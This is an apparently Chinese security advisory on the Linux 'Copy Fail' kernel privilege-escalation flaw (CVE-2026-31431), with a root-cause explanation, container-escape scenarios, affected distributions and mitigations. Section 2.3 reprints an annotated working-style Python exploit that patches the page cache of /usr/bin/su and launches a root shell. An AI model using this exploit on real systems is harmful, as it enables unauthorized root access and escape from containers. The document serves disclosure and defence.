当前位置:首页>Linux>【紧急预警】:Linux Copy Fail 本地提权漏洞,主流Linux几乎都受影响

【紧急预警】:Linux Copy Fail 本地提权漏洞,主流Linux几乎都受影响

  • 2026-10-11 08:21:57
【紧急预警】:Linux Copy Fail 本地提权漏洞,主流Linux几乎都受影响

一、事件速览

2026 年 4 月,Google Project Zero 安全研究员 Seth Jenkins 披露了一个潜伏 8 年 的 Linux 内核高危漏洞——CVE-2026-31431,代号 "Copy Fail"。

一句话定性:

一个 2017 年引入的 AEAD 加密优化,让普通用户获得了对任意可读文件页缓存的可控写入能力——不碰磁盘、不留痕迹、穿透容器。

关键指标
数据
CVSS 评分
7.8(高危)
利用代码
732 字节 Python 脚本
前置条件
仅需本地普通用户权限
竞争条件
无需
磁盘痕迹
零

二、漏洞原理:一个"原地优化"引发的灾难

2.1 背景:AEAD 加密与"原地"模式

AEAD(Authenticated Encryption with Associated Data)是一种同时保证机密性和完整性的加密模式,如 AES-GCM、AES-CCM。

2017 年,内核开发者为提升性能,在 authencesn 模板中引入了一个"原地"(in-place)优化——即假设源缓冲区和目标缓冲区指向同一块内存,避免额外的数据拷贝。

// 问题代码的核心逻辑(简化)// 当 in-place 标志被设置时:// src_buf == dst_buf(同一内存映射)// 解密时向 dst_buf 写入 seqno_lo(4 字节)memcpy(dst_buf, src_buf, len);  // 假设原地操作// 实际上 dst_buf 可能是页缓存页面!

2.2 攻击链:四步击穿内核防线

Step 1:构造 AF_ALG 套接字

Linux 的 AF_ALG 套接字允许用户空间直接调用内核加密算法。攻击者创建一个 authencesn 类型的算法套接字。

Step 2:通过 splice() 将文件页缓存送入加密子系统

splice() 是 Linux 特有的零拷贝系统调用,可以直接将文件描述符的数据"拼接"到另一个文件描述符,不经过用户空间。

# 伪代码fd = open("/etc/passwd", "r")  # 只读打开splice(fd, None, alg_sock, None, 4096, 0)  # 页缓存页面进入加密子系统

关键点:splice() 传递的是页缓存页面的引用,而非数据拷贝。

Step 3:触发解密,实现页缓存写入

当 authencesn 算法执行解密时,由于 in-place 优化,它会向"目标缓冲区"写入 4 字节的 seqno_lo 数据——而这块内存恰好是 /etc/passwd 的页缓存页面。

结果:内存中的 /etc/passwd 被静默篡改,磁盘文件纹丝不动。

Step 4:触发 setuid 程序,加载被污染的页缓存

su  # 或 sudo、passwd 等 setuid 程序# 程序加载 /etc/passwd 时,命中的是被篡改的页缓存# → 当前用户 UID 被识别为 0 → 获得 root shell

2.3 PoC 验证:732 字节的 Python 脚本

官方 PoC 已开源在 Theori 的 GitHub 仓库: 

📎 https://github.com/theori-io/copy-fail-CVE-2026-31431

核心代码解析

#!/usr/bin/env python3import os as g, zlib, socket as sdef d(x): return bytes.fromhex(x)def c(f, t, c):    # 1. 创建 AF_ALG 套接字,绑定 authencesn 算法    a = s.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))    # 2. 设置算法参数(AAD 长度、密钥等)    h = 279  # ALG_SET_KEY    v = a.setsockopt    v(h, 1, d('0800010000000010' + '0'*64))  # 设置密钥    v(h, 5, None, 4)  # 设置 AAD 长度    # 3. 接受连接,构造加密请求    u, _ = a.accept()    o = t + 4    i = d('00')    # 4. 发送 AAD + 密文,通过 sendmsg 传递控制消息    u.sendmsg([b"A"*4 + c], [        (h, 3, i*4),      # ALG_SET_OP = DECRYPT        (h, 2, b'\x10' + i*19),  # 设置 IV        (h, 4, b'\x08' + i*3),   # 设置 tag 长度    ], 32768)    # 5. 通过 splice() 将 /usr/bin/su 的页缓存送入加密子系统    r, w = g.pipe()    n = g.splice    n(f, w, o, offset_src=0)   # 文件 → pipe    n(r, u.fileno(), o)         # pipe → AF_ALG socket    # 6. 触发解密,等待完成(即使失败也会写入页缓存)    try:        u.recv(8 + t)    except:        pass# 7. 打开目标 setuid 文件(只读)f = g.open("/usr/bin/su", 0)# 8. 解压预计算的 patch 数据(shellcode 偏移和写入内容)e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))# 9. 逐 4 字节 patch /usr/bin/su 的页缓存i = 0while i < len(e):    c(f, i, e[i:i+4])    i += 4# 10. 执行被污染的 su,获得 root shellg.system("su")

PoC 执行效果


2.4 为什么它如此隐蔽?

传统提权漏洞
Copy Fail
修改磁盘文件,触发 inotify/audit
只改内存页缓存,磁盘完好
需要竞争条件(Race Condition)
确定性利用,100% 成功
利用代码复杂,需多次尝试
732 字节 Python,一次执行
文件完整性检查可发现
绕过 AIDE、Tripwire 等所有磁盘校验

三、容器逃逸:打破 Namespace 的幻觉

3.1 页缓存:内核的"公共水池"

容器技术的核心假设之一是:Mount Namespace 隔离了文件系统视图。

但这个假设有一个致命盲区——页缓存是全局共享的。

┌─────────────────────────────────────────────┐│              宿主机内核(共享页缓存)            ││  ┌─────────────┐    ┌─────────────┐         ││  │ /etc/passwd │ ←→ │ 页缓存页面   │         ││  │  (磁盘)      │    │  (内存)      │         ││  └─────────────┘    └──────┬──────┘         ││                            │                ││         ┌──────────────────┼────────────────┤│         │                  │                ││  ┌──────▼──────┐    ┌─────▼──────┐         ││  │  容器 A      │    │  容器 B     │         ││  │ 只读挂载     │    │ 基础镜像    │         ││  │ /etc/passwd │    │ /usr/bin/sudo│        ││  └─────────────┘    └─────────────┘         │└─────────────────────────────────────────────┘

攻击场景:

1.容器 A(普通用户,无特权)利用 CVE-2026-31431 修改 /etc/passwd 的页缓存2.容器 B 或宿主机执行 su/sudo,加载的是同一份被污染的页缓存3.容器 B / 宿主机 的进程获得 root 权限

全程:

•❌ 不需要 CAP_SYS_ADMIN•❌ 不需要特权容器•❌ 不需要逃逸出 Mount Namespace•✅ 只需利用内核共享的页缓存

3.2 Kubernetes 集群的噩梦

在 Kubernetes 多租户环境中:

•多个 Pod 共享同一个节点内核•不同租户的 Pod 可能基于相同的基础镜像(如 ubuntu:22.04)•攻击者 Pod 可以静默投毒共享镜像的页缓存•其他租户的 Pod 新启动的进程可能命中污染页缓存 → 提权

这意味着:一个低权限的恶意容器,可以无需任何特权配置,在页缓存被回收前持续影响其他容器或宿主机,进而可能访问同一节点上所有 Pod 的网络、存储和 secrets。

时效性说明:

•页缓存污染不是永久性的,新进程可能重新从磁盘加载干净内容•但攻击者只需执行一次 PoC,即可在页缓存生命周期内(通常数分钟到数小时)持续构成威胁•直到页缓存被 LRU 回收、手动清空(drop_caches)或节点重启


四、影响范围:几乎全军覆没

4.1 受影响系统

发行版
受影响版本
修复版本
Ubuntu
20.04 / 22.04 / 24.04 LTS
内核 6.18.22+
Debian
11 / 12 / 13
内核 6.18.22+
RHEL
8 / 9 / 10
内核 6.19.12+
Amazon Linux
2 / 2023
内核 6.18.22+
SUSE
16
内核 6.18.22+
Arch Linux
全部
内核 7.0+

4.2 国产信创系统影响评估

国产信创操作系统大多基于 Linux 内核二次开发,同样受此漏洞波及。

国产系统
内核基线
受影响情况
麒麟操作系统
(银河麒麟/中标麒麟)
基于 Linux 4.19/5.10
⚠️ 受影响
统信 UOS
基于 Linux 5.10/5.15
⚠️ 受影响
欧拉 openEuler
基于 Linux 5.10/6.6
⚠️ 受影响
龙蜥 Anolis OS
基于 Linux 5.10/6.6
⚠️ 受影响
中科方德
基于 Linux 4.19
⚠️ 受影响
深度 Deepin
基于 Linux 6.x
⚠️ 受影响

特别提醒:信创系统用户切勿直接升级主线内核,需等待厂商发布的认证补丁包,避免破坏系统合规认证。


4.3 为什么 8 年都没被发现?

1.代码审查盲区:"原地优化"在加密领域是常见做法,审查者未意识到与 splice() 组合的危险2.利用路径非直观:AF_ALG → splice → authencesn → 页缓存写入,跨多个子系统3.无磁盘痕迹:传统安全监控依赖文件完整性检查,对内存攻击无能为力4.无需竞争条件:确定性利用,不触发异常时序,难以被行为检测发现


五、修复与缓解

5.1 永久修复:升级内核

# Ubuntu/Debiansudo apt update && sudo apt upgrade linux-image-generic# RHEL/CentOSsudo yum update kernel# 重启生效sudo reboot

修复版本:

•Linux Kernel ≥ 6.18.22•Linux Kernel ≥ 6.19.12•Linux Kernel ≥ 7.0

5.2 临时缓解(无法立即重启)

# 禁用 algif_aead 内核模块(若编译为模块)echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.confsudo rmmod algif_aead 2>/dev/null || tru

禁用algif_aead影响范围排查

# 检查是否有进程使用 AF_ALGlsof 2>/dev/null | grep AF_ALG# 或使用 ss 命令ss -xa | grep alg# 快速验证系统是否可创建 AF_ALG socket(输出 VULNERABLE 则存在风险)
python3 -c"
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('MODULE_AVAILABLE')
except Exception as e:
    print(f'MODULE_BLOCKED: {e}')
"
检测结果
判断逻辑
操作建议
MODULE_BLOCKED
模块不存在或被阻止
✅ 安全,无需处置
MODULE_AVAILABLE
 + lsof/ss有输出
有服务正在使用
❌ 不要禁用,需评估业务影响后安排补丁升级
MODULE_AVAILABLE
 + lsof/ss无输出
模块可用但当前空闲
⚠️ 可临时禁用,但需确认无定时任务/服务会触发加载
CONFIG_CRYPTO_USER_API_AEAD=y
编译进内核
❌ 无法卸载,必须升级内核
信创系统
国密合规可能强制依赖
❌ 切勿自行禁用,联系厂商

⚠️ 注意:部分企业内核将 CONFIG_CRYPTO_USER_API_AEAD=y 编译进内核(非模块),此时无法通过卸载模块缓解,必须重启升级。

5.3 容器平台专项加固

措施
实施方式
Seccomp
禁止容器内使用 splice() 或 AF_ALG 套接字
AppArmor/SELinux
限制容器进程访问 algif_aead 设备
运行时检测
监控异常的 splice() + AF_ALG 组合调用
镜像隔离
不同租户使用不同基础镜像,减少页缓存共享

六、深度思考:内存安全的新战场

CVE-2026-31431 揭示了一个被长期忽视的攻击面——页缓存污染。

传统的安全模型假设:

•只读文件是安全的 ❌•磁盘完整性检查足够 ❌•Namespace 隔离了文件系统 ❌

Copy Fail 证明:内存中的页缓存是跨安全域的共享资源,在页缓存被回收前的窗口期内,对它的写入可以穿透所有上层隔离机制。

这不仅是 Linux 内核的问题,更是整个操作系统安全模型的警示:

当攻击者可以控制内核如何解释内存中的数据时,所有的访问控制都变成了纸糊的防线。


七、参考链接

 http://www.openwall.com/lists/oss-security/2026/04/29/23

 https://copy.fail
 https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
 https://git.kernel.org/stable/c/ce42ee423e58dffa5ec03524054c9d8bfd4f6237
 https://git.kernel.org/stable/c/fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8
 https://github.com/theori-io/copy-fail-CVE-2026-31431

本文仅供安全技术研究与防御参考,请勿用于非法用途。


最新文章

随机文章